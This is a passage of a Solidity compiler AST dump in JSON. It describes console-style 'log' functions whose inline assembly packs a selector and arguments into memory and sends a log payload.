ity":"mutable","name":"p1","nameLocation":"271029:2:22","nodeType":"VariableDeclaration","scope":42810,"src":"271021:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42779,"name":"uint256","nodeType":"ElementaryTypeName","src":"271021:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42782,"mutability":"mutable","name":"p2","nameLocation":"271041:2:22","nodeType":"VariableDeclaration","scope":42810,"src":"271033:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42781,"name":"uint256","nodeType":"ElementaryTypeName","src":"271033:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42784,"mutability":"mutable","name":"p3","nameLocation":"271050:2:22","nodeType":"VariableDeclaration","scope":42810,"src":"271045:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":42783,"name":"bool","nodeType":"ElementaryTypeName","src":"271045:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"271008:45:22"},"returnParameters":{"id":42786,"nodeType":"ParameterList","parameters":[],"src":"271068:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":42844,"nodeType":"FunctionDefinition","src":"271788:792:22","nodes":[],"body":{"id":42843,"nodeType":"Block","src":"271863:717:22","nodes":[],"statements":[{"assignments":[42822],"declarations":[{"constant":false,"id":42822,"mutability":"mutable","name":"m0","nameLocation":"271881:2:22","nodeType":"VariableDeclaration","scope":42843,"src":"271873:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42821,"name":"bytes32","nodeType":"ElementaryTypeName","src":"271873:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42823,"nodeType":"VariableDeclarationStatement","src":"271873:10:22"},{"assignments":[42825],"declarations":[{"constant":false,"id":42825,"mutability":"mutable","name":"m1","nameLocation":"271901:2:22","nodeType":"VariableDeclaration","scope":42843,"src":"271893:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42824,"name":"bytes32","nodeType":"ElementaryTypeName","src":"271893:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42826,"nodeType":"VariableDeclarationStatement","src":"271893:10:22"},{"assignments":[42828],"declarations":[{"constant":false,"id":42828,"mutability":"mutable","name":"m2","nameLocation":"271921:2:22","nodeType":"VariableDeclaration","scope":42843,"src":"271913:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42827,"name":"bytes32","nodeType":"ElementaryTypeName","src":"271913:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42829,"nodeType":"VariableDeclarationStatement","src":"271913:10:22"},{"assignments":[42831],"declarations":[{"constant":false,"id":42831,"mutability":"mutable","name":"m3","nameLocation":"271941:2:22","nodeType":"VariableDeclaration","scope":42843,"src":"271933:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42830,"name":"bytes32","nodeType":"ElementaryTypeName","src":"271933:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42832,"nodeType":"VariableDeclarationStatement","src":"271933:10:22"},{"assignments":[42834],"declarations":[{"constant":false,"id":42834,"mutability":"mutable","name":"m4","nameLocation":"271961:2:22","nodeType":"VariableDeclaration","scope":42843,"src":"271953:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42833,"name":"bytes32","nodeType":"ElementaryTypeName","src":"271953:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42835,"nodeType":"VariableDeclarationStatement","src":"271953:10:22"},{"AST":{"nativeSrc":"271982:381:22","nodeType":"YulBlock","src":"271982:381:22","statements":[{"nativeSrc":"271996:17:22","nodeType":"YulAssignment","src":"271996:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"272008:4:22","nodeType":"YulLiteral","src":"272008:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"272002:5:22","nodeType":"YulIdentifier","src":"272002:5:22"},"nativeSrc":"272002:11:22","nodeType":"YulFunctionCall","src":"272002:11:22"},"variableNames":[{"name":"m0","nativeSrc":"271996:2:22","nodeType":"YulIdentifier","src":"271996:2:22"}]},{"nativeSrc":"272026:17:22","nodeType":"YulAssignment","src":"272026:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"272038:4:22","nodeType":"YulLiteral","src":"272038:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"272032:5:22","nodeType":"YulIdentifier","src":"272032:5:22"},"nativeSrc":"272032:11:22","nodeType":"YulFunctionCall","src":"272032:11:22"},"variableNames":[{"name":"m1","nativeSrc":"272026:2:22","nodeType":"YulIdentifier","src":"272026:2:22"}]},{"nativeSrc":"272056:17:22","nodeType":"YulAssignment","src":"272056:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"272068:4:22","nodeType":"YulLiteral","src":"272068:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"272062:5:22","nodeType":"YulIdentifier","src":"272062:5:22"},"nativeSrc":"272062:11:22","nodeType":"YulFunctionCall","src":"272062:11:22"},"variableNames":[{"name":"m2","nativeSrc":"272056:2:22","nodeType":"YulIdentifier","src":"272056:2:22"}]},{"nativeSrc":"272086:17:22","nodeType":"YulAssignment","src":"272086:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"272098:4:22","nodeType":"YulLiteral","src":"272098:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"272092:5:22","nodeType":"YulIdentifier","src":"272092:5:22"},"nativeSrc":"272092:11:22","nodeType":"YulFunctionCall","src":"272092:11:22"},"variableNames":[{"name":"m3","nativeSrc":"272086:2:22","nodeType":"YulIdentifier","src":"272086:2:22"}]},{"nativeSrc":"272116:17:22","nodeType":"YulAssignment","src":"272116:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"272128:4:22","nodeType":"YulLiteral","src":"272128:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"272122:5:22","nodeType":"YulIdentifier","src":"272122:5:22"},"nativeSrc":"272122:11:22","nodeType":"YulFunctionCall","src":"272122:11:22"},"variableNames":[{"name":"m4","nativeSrc":"272116:2:22","nodeType":"YulIdentifier","src":"272116:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"272220:4:22","nodeType":"YulLiteral","src":"272220:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"272226:10:22","nodeType":"YulLiteral","src":"272226:10:22","type":"","value":"0x193fb800"}],"functionName":{"name":"mstore","nativeSrc":"272213:6:22","nodeType":"YulIdentifier","src":"272213:6:22"},"nativeSrc":"272213:24:22","nodeType":"YulFunctionCall","src":"272213:24:22"},"nativeSrc":"272213:24:22","nodeType":"YulExpressionStatement","src":"272213:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"272257:4:22","nodeType":"YulLiteral","src":"272257:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"272263:2:22","nodeType":"YulIdentifier","src":"272263:2:22"}],"functionName":{"name":"mstore","nativeSrc":"272250:6:22","nodeType":"YulIdentifier","src":"272250:6:22"},"nativeSrc":"272250:16:22","nodeType":"YulFunctionCall","src":"272250:16:22"},"nativeSrc":"272250:16:22","nodeType":"YulExpressionStatement","src":"272250:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"272286:4:22","nodeType":"YulLiteral","src":"272286:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"272292:2:22","nodeType":"YulIdentifier","src":"272292:2:22"}],"functionName":{"name":"mstore","nativeSrc":"272279:6:22","nodeType":"YulIdentifier","src":"272279:6:22"},"nativeSrc":"272279:16:22","nodeType":"YulFunctionCall","src":"272279:16:22"},"nativeSrc":"272279:16:22","nodeType":"YulExpressionStatement","src":"272279:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"272315:4:22","nodeType":"YulLiteral","src":"272315:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"272321:2:22","nodeType":"YulIdentifier","src":"272321:2:22"}],"functionName":{"name":"mstore","nativeSrc":"272308:6:22","nodeType":"YulIdentifier","src":"272308:6:22"},"nativeSrc":"272308:16:22","nodeType":"YulFunctionCall","src":"272308:16:22"},"nativeSrc":"272308:16:22","nodeType":"YulExpressionStatement","src":"272308:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"272344:4:22","nodeType":"YulLiteral","src":"272344:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"272350:2:22","nodeType":"YulIdentifier","src":"272350:2:22"}],"functionName":{"name":"mstore","nativeSrc":"272337:6:22","nodeType":"YulIdentifier","src":"272337:6:22"},"nativeSrc":"272337:16:22","nodeType":"YulFunctionCall","src":"272337:16:22"},"nativeSrc":"272337:16:22","nodeType":"YulExpressionStatement","src":"272337:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42822,"isOffset":false,"isSlot":false,"src":"271996:2:22","valueSize":1},{"declaration":42825,"isOffset":false,"isSlot":false,"src":"272026:2:22","valueSize":1},{"declaration":42828,"isOffset":false,"isSlot":false,"src":"272056:2:22","valueSize":1},{"declaration":42831,"isOffset":false,"isSlot":false,"src":"272086:2:22","valueSize":1},{"declaration":42834,"isOffset":false,"isSlot":false,"src":"272116:2:22","valueSize":1},{"declaration":42812,"isOffset":false,"isSlot":false,"src":"272263:2:22","valueSize":1},{"declaration":42814,"isOffset":false,"isSlot":false,"src":"272292:2:22","valueSize":1},{"declaration":42816,"isOffset":false,"isSlot":false,"src":"272321:2:22","valueSize":1},{"declaration":42818,"isOffset":false,"isSlot":false,"src":"272350:2:22","valueSize":1}],"id":42836,"nodeType":"InlineAssembly","src":"271973:390:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":42838,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"272388:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":42839,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"272394:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":42837,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"272372:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":42840,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"272372:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":42841,"nodeType":"ExpressionStatement","src":"272372:27:22"},{"AST":{"nativeSrc":"272418:156:22","nodeType":"YulBlock","src":"272418:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"272439:4:22","nodeType":"YulLiteral","src":"272439:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"272445:2:22","nodeType":"YulIdentifier","src":"272445:2:22"}],"functionName":{"name":"mstore","nativeSrc":"272432:6:22","nodeType":"YulIdentifier","src":"272432:6:22"},"nativeSrc":"272432:16:22","nodeType":"YulFunctionCall","src":"272432:16:22"},"nativeSrc":"272432:16:22","nodeType":"YulExpressionStatement","src":"272432:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"272468:4:22","nodeType":"YulLiteral","src":"272468:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"272474:2:22","nodeType":"YulIdentifier","src":"272474:2:22"}],"functionName":{"name":"mstore","nativeSrc":"272461:6:22","nodeType":"YulIdentifier","src":"272461:6:22"},"nativeSrc":"272461:16:22","nodeType":"YulFunctionCall","src":"272461:16:22"},"nativeSrc":"272461:16:22","nodeType":"YulExpressionStatement","src":"272461:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"272497:4:22","nodeType":"YulLiteral","src":"272497:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"272503:2:22","nodeType":"YulIdentifier","src":"272503:2:22"}],"functionName":{"name":"mstore","nativeSrc":"272490:6:22","nodeType":"YulIdentifier","src":"272490:6:22"},"nativeSrc":"272490:16:22","nodeType":"YulFunctionCall","src":"272490:16:22"},"nativeSrc":"272490:16:22","nodeType":"YulExpressionStatement","src":"272490:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"272526:4:22","nodeType":"YulLiteral","src":"272526:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"272532:2:22","nodeType":"YulIdentifier","src":"272532:2:22"}],"functionName":{"name":"mstore","nativeSrc":"272519:6:22","nodeType":"YulIdentifier","src":"272519:6:22"},"nativeSrc":"272519:16:22","nodeType":"YulFunctionCall","src":"272519:16:22"},"nativeSrc":"272519:16:22","nodeType":"YulExpressionStatement","src":"272519:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"272555:4:22","nodeType":"YulLiteral","src":"272555:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"272561:2:22","nodeType":"YulIdentifier","src":"272561:2:22"}],"functionName":{"name":"mstore","nativeSrc":"272548:6:22","nodeType":"YulIdentifier","src":"272548:6:22"},"nativeSrc":"272548:16:22","nodeType":"YulFunctionCall","src":"272548:16:22"},"nativeSrc":"272548:16:22","nodeType":"YulExpressionStatement","src":"272548:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42822,"isOffset":false,"isSlot":false,"src":"272445:2:22","valueSize":1},{"declaration":42825,"isOffset":false,"isSlot":false,"src":"272474:2:22","valueSize":1},{"declaration":42828,"isOffset":false,"isSlot":false,"src":"272503:2:22","valueSize":1},{"declaration":42831,"isOffset":false,"isSlot":false,"src":"272532:2:22","valueSize":1},{"declaration":42834,"isOffset":false,"isSlot":false,"src":"272561:2:22","valueSize":1}],"id":42842,"nodeType":"InlineAssembly","src":"272409:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"271797:3:22","parameters":{"id":42819,"nodeType":"ParameterList","parameters":[{"constant":false,"id":42812,"mutability":"mutable","name":"p0","nameLocation":"271809:2:22","nodeType":"VariableDeclaration","scope":42844,"src":"271801:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42811,"name":"uint256","nodeType":"ElementaryTypeName","src":"271801:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42814,"mutability":"mutable","name":"p1","nameLocation":"271821:2:22","nodeType":"VariableDeclaration","scope":42844,"src":"271813:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42813,"name":"uint256","nodeType":"ElementaryTypeName","src":"271813:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42816,"mutability":"mutable","name":"p2","nameLocation":"271833:2:22","nodeType":"VariableDeclaration","scope":42844,"src":"271825:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42815,"name":"uint256","nodeType":"ElementaryTypeName","src":"271825:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42818,"mutability":"mutable","name":"p3","nameLocation":"271845:2:22","nodeType":"VariableDeclaration","scope":42844,"src":"271837:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42817,"name":"uint256","nodeType":"ElementaryTypeName","src":"271837:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"271800:48:22"},"returnParameters":{"id":42820,"nodeType":"ParameterList","parameters":[],"src":"271863:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":42884,"nodeType":"FunctionDefinition","src":"272586:1340:22","nodes":[],"body":{"id":42883,"nodeType":"Block","src":"272661:1265:22","nodes":[],"statements":[{"assignments":[42856],"declarations":[{"constant":false,"id":42856,"mutability":"mutable","name":"m0","nameLocation":"272679:2:22","nodeType":"VariableDeclaration","scope":42883,"src":"272671:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42855,"name":"bytes32","nodeType":"ElementaryTypeName","src":"272671:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42857,"nodeType":"VariableDeclarationStatement","src":"272671:10:22"},{"assignments":[42859],"declarations":[{"constant":false,"id":42859,"mutability":"mutable","name":"m1","nameLocation":"272699:2:22","nodeType":"VariableDeclaration","scope":42883,"src":"272691:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42858,"name":"bytes32","nodeType":"ElementaryTypeName","src":"272691:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42860,"nodeType":"VariableDeclarationStatement","src":"272691:10:22"},{"assignments":[42862],"declarations":[{"constant":false,"id":42862,"mutability":"mutable","name":"m2","nameLocation":"272719:2:22","nodeType":"VariableDeclaration","scope":42883,"src":"272711:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42861,"name":"bytes32","nodeType":"ElementaryTypeName","src":"272711:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42863,"nodeType":"VariableDeclarationStatement","src":"272711:10:22"},{"assignments":[42865],"declarations":[{"constant":false,"id":42865,"mutability":"mutable","name":"m3","nameLocation":"272739:2:22","nodeType":"VariableDeclaration","scope":42883,"src":"272731:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42864,"name":"bytes32","nodeType":"ElementaryTypeName","src":"272731:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42866,"nodeType":"VariableDeclarationStatement","src":"272731:10:22"},{"assignments":[42868],"declarations":[{"constant":false,"id":42868,"mutability":"mutable","name":"m4","nameLocation":"272759:2:22","nodeType":"VariableDeclaration","scope":42883,"src":"272751:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42867,"name":"bytes32","nodeType":"ElementaryTypeName","src":"272751:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42869,"nodeType":"VariableDeclarationStatement","src":"272751:10:22"},{"assignments":[42871],"declarations":[{"constant":false,"id":42871,"mutability":"mutable","name":"m5","nameLocation":"272779:2:22","nodeType":"VariableDeclaration","scope":42883,"src":"272771:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42870,"name":"bytes32","nodeType":"ElementaryTypeName","src":"272771:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42872,"nodeType":"VariableDeclarationStatement","src":"272771:10:22"},{"assignments":[42874],"declarations":[{"constant":false,"id":42874,"mutability":"mutable","name":"m6","nameLocation":"272799:2:22","nodeType":"VariableDeclaration","scope":42883,"src":"272791:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42873,"name":"bytes32","nodeType":"ElementaryTypeName","src":"272791:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42875,"nodeType":"VariableDeclarationStatement","src":"272791:10:22"},{"AST":{"nativeSrc":"272820:831:22","nodeType":"YulBlock","src":"272820:831:22","statements":[{"body":{"nativeSrc":"272863:313:22","nodeType":"YulBlock","src":"272863:313:22","statements":[{"nativeSrc":"272881:15:22","nodeType":"YulVariableDeclaration","src":"272881:15:22","value":{"kind":"number","nativeSrc":"272895:1:22","nodeType":"YulLiteral","src":"272895:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"272885:6:22","nodeType":"YulTypedName","src":"272885:6:22","type":""}]},{"body":{"nativeSrc":"272966:40:22","nodeType":"YulBlock","src":"272966:40:22","statements":[{"body":{"nativeSrc":"272995:9:22","nodeType":"YulBlock","src":"272995:9:22","statements":[{"nativeSrc":"272997:5:22","nodeType":"YulBreak","src":"272997:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"272983:6:22","nodeType":"YulIdentifier","src":"272983:6:22"},{"name":"w","nativeSrc":"272991:1:22","nodeType":"YulIdentifier","src":"272991:1:22"}],"functionName":{"name":"byte","nativeSrc":"272978:4:22","nodeType":"YulIdentifier","src":"272978:4:22"},"nativeSrc":"272978:15:22","nodeType":"YulFunctionCall","src":"272978:15:22"}],"functionName":{"name":"iszero","nativeSrc":"272971:6:22","nodeType":"YulIdentifier","src":"272971:6:22"},"nativeSrc":"272971:23:22","nodeType":"YulFunctionCall","src":"272971:23:22"},"nativeSrc":"272968:36:22","nodeType":"YulIf","src":"272968:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"272923:6:22","nodeType":"YulIdentifier","src":"272923:6:22"},{"kind":"number","nativeSrc":"272931:4:22","nodeType":"YulLiteral","src":"272931:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"272920:2:22","nodeType":"YulIdentifier","src":"272920:2:22"},"nativeSrc":"272920:16:22","nodeType":"YulFunctionCall","src":"272920:16:22"},"nativeSrc":"272913:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"272937:28:22","nodeType":"YulBlock","src":"272937:28:22","statements":[{"nativeSrc":"272939:24:22","nodeType":"YulAssignment","src":"272939:24:22","value":{"arguments":[{"name":"length","nativeSrc":"272953:6:22","nodeType":"YulIdentifier","src":"272953:6:22"},{"kind":"number","nativeSrc":"272961:1:22","nodeType":"YulLiteral","src":"272961:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"272949:3:22","nodeType":"YulIdentifier","src":"272949:3:22"},"nativeSrc":"272949:14:22","nodeType":"YulFunctionCall","src":"272949:14:22"},"variableNames":[{"name":"length","nativeSrc":"272939:6:22","nodeType":"YulIdentifier","src":"272939:6:22"}]}]},"pre":{"nativeSrc":"272917:2:22","nodeType":"YulBlock","src":"272917:2:22","statements":[]},"src":"272913:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"273030:3:22","nodeType":"YulIdentifier","src":"273030:3:22"},{"name":"length","nativeSrc":"273035:6:22","nodeType":"YulIdentifier","src":"273035:6:22"}],"functionName":{"name":"mstore","nativeSrc":"273023:6:22","nodeType":"YulIdentifier","src":"273023:6:22"},"nativeSrc":"273023:19:22","nodeType":"YulFunctionCall","src":"273023:19:22"},"nativeSrc":"273023:19:22","nodeType":"YulExpressionStatement","src":"273023:19:22"},{"nativeSrc":"273059:37:22","nodeType":"YulVariableDeclaration","src":"273059:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"273076:3:22","nodeType":"YulLiteral","src":"273076:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"273085:1:22","nodeType":"YulLiteral","src":"273085:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"273088:6:22","nodeType":"YulIdentifier","src":"273088:6:22"}],"functionName":{"name":"shl","nativeSrc":"273081:3:22","nodeType":"YulIdentifier","src":"273081:3:22"},"nativeSrc":"273081:14:22","nodeType":"YulFunctionCall","src":"273081:14:22"}],"functionName":{"name":"sub","nativeSrc":"273072:3:22","nodeType":"YulIdentifier","src":"273072:3:22"},"nativeSrc":"273072:24:22","nodeType":"YulFunctionCall","src":"273072:24:22"},"variables":[{"name":"shift","nativeSrc":"273063:5:22","nodeType":"YulTypedName","src":"273063:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"273124:3:22","nodeType":"YulIdentifier","src":"273124:3:22"},{"kind":"number","nativeSrc":"273129:4:22","nodeType":"YulLiteral","src":"273129:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"273120:3:22","nodeType":"YulIdentifier","src":"273120:3:22"},"nativeSrc":"273120:14:22","nodeType":"YulFunctionCall","src":"273120:14:22"},{"arguments":[{"name":"shift","nativeSrc":"273140:5:22","nodeType":"YulIdentifier","src":"273140:5:22"},{"arguments":[{"name":"shift","nativeSrc":"273151:5:22","nodeType":"YulIdentifier","src":"273151:5:22"},{"name":"w","nativeSrc":"273158:1:22","nodeType":"YulIdentifier","src":"273158:1:22"}],"functionName":{"name":"shr","nativeSrc":"273147:3:22","nodeType":"YulIdentifier","src":"273147:3:22"},"nativeSrc":"273147:13:22","nodeType":"YulFunctionCall","src":"273147:13:22"}],"functionName":{"name":"shl","nativeSrc":"273136:3:22","nodeType":"YulIdentifier","src":"273136:3:22"},"nativeSrc":"273136:25:22","nodeType":"YulFunctionCall","src":"273136:25:22"}],"functionName":{"name":"mstore","nativeSrc":"273113:6:22","nodeType":"YulIdentifier","src":"273113:6:22"},"nativeSrc":"273113:49:22","nodeType":"YulFunctionCall","src":"273113:49:22"},"nativeSrc":"273113:49:22","nodeType":"YulExpressionStatement","src":"273113:49:22"}]},"name":"writeString","nativeSrc":"272834:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"272855:3:22","nodeType":"YulTypedName","src":"272855:3:22","type":""},{"name":"w","nativeSrc":"272860:1:22","nodeType":"YulTypedName","src":"272860:1:22","type":""}],"src":"272834:342:22"},{"nativeSrc":"273189:17:22","nodeType":"YulAssignment","src":"273189:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"273201:4:22","nodeType":"YulLiteral","src":"273201:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"273195:5:22","nodeType":"YulIdentifier","src":"273195:5:22"},"nativeSrc":"273195:11:22","nodeType":"YulFunctionCall","src":"273195:11:22"},"variableNames":[{"name":"m0","nativeSrc":"273189:2:22","nodeType":"YulIdentifier","src":"273189:2:22"}]},{"nativeSrc":"273219:17:22","nodeType":"YulAssignment","src":"273219:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"273231:4:22","nodeType":"YulLiteral","src":"273231:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"273225:5:22","nodeType":"YulIdentifier","src":"273225:5:22"},"nativeSrc":"273225:11:22","nodeType":"YulFunctionCall","src":"273225:11:22"},"variableNames":[{"name":"m1","nativeSrc":"273219:2:22","nodeType":"YulIdentifier","src":"273219:2:22"}]},{"nativeSrc":"273249:17:22","nodeType":"YulAssignment","src":"273249:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"273261:4:22","nodeType":"YulLiteral","src":"273261:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"273255:5:22","nodeType":"YulIdentifier","src":"273255:5:22"},"nativeSrc":"273255:11:22","nodeType":"YulFunctionCall","src":"273255:11:22"},"variableNames":[{"name":"m2","nativeSrc":"273249:2:22","nodeType":"YulIdentifier","src":"273249:2:22"}]},{"nativeSrc":"273279:17:22","nodeType":"YulAssignment","src":"273279:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"273291:4:22","nodeType":"YulLiteral","src":"273291:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"273285:5:22","nodeType":"YulIdentifier","src":"273285:5:22"},"nativeSrc":"273285:11:22","nodeType":"YulFunctionCall","src":"273285:11:22"},"variableNames":[{"name":"m3","nativeSrc":"273279:2:22","nodeType":"YulIdentifier","src":"273279:2:22"}]},{"nativeSrc":"273309:17:22","nodeType":"YulAssignment","src":"273309:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"273321:4:22","nodeType":"YulLiteral","src":"273321:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"273315:5:22","nodeType":"YulIdentifier","src":"273315:5:22"},"nativeSrc":"273315:11:22","nodeType":"YulFunctionCall","src":"273315:11:22"},"variableNames":[{"name":"m4","nativeSrc":"273309:2:22","nodeType":"YulIdentifier","src":"273309:2:22"}]},{"nativeSrc":"273339:17:22","nodeType":"YulAssignment","src":"273339:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"273351:4:22","nodeType":"YulLiteral","src":"273351:4:22","type":"","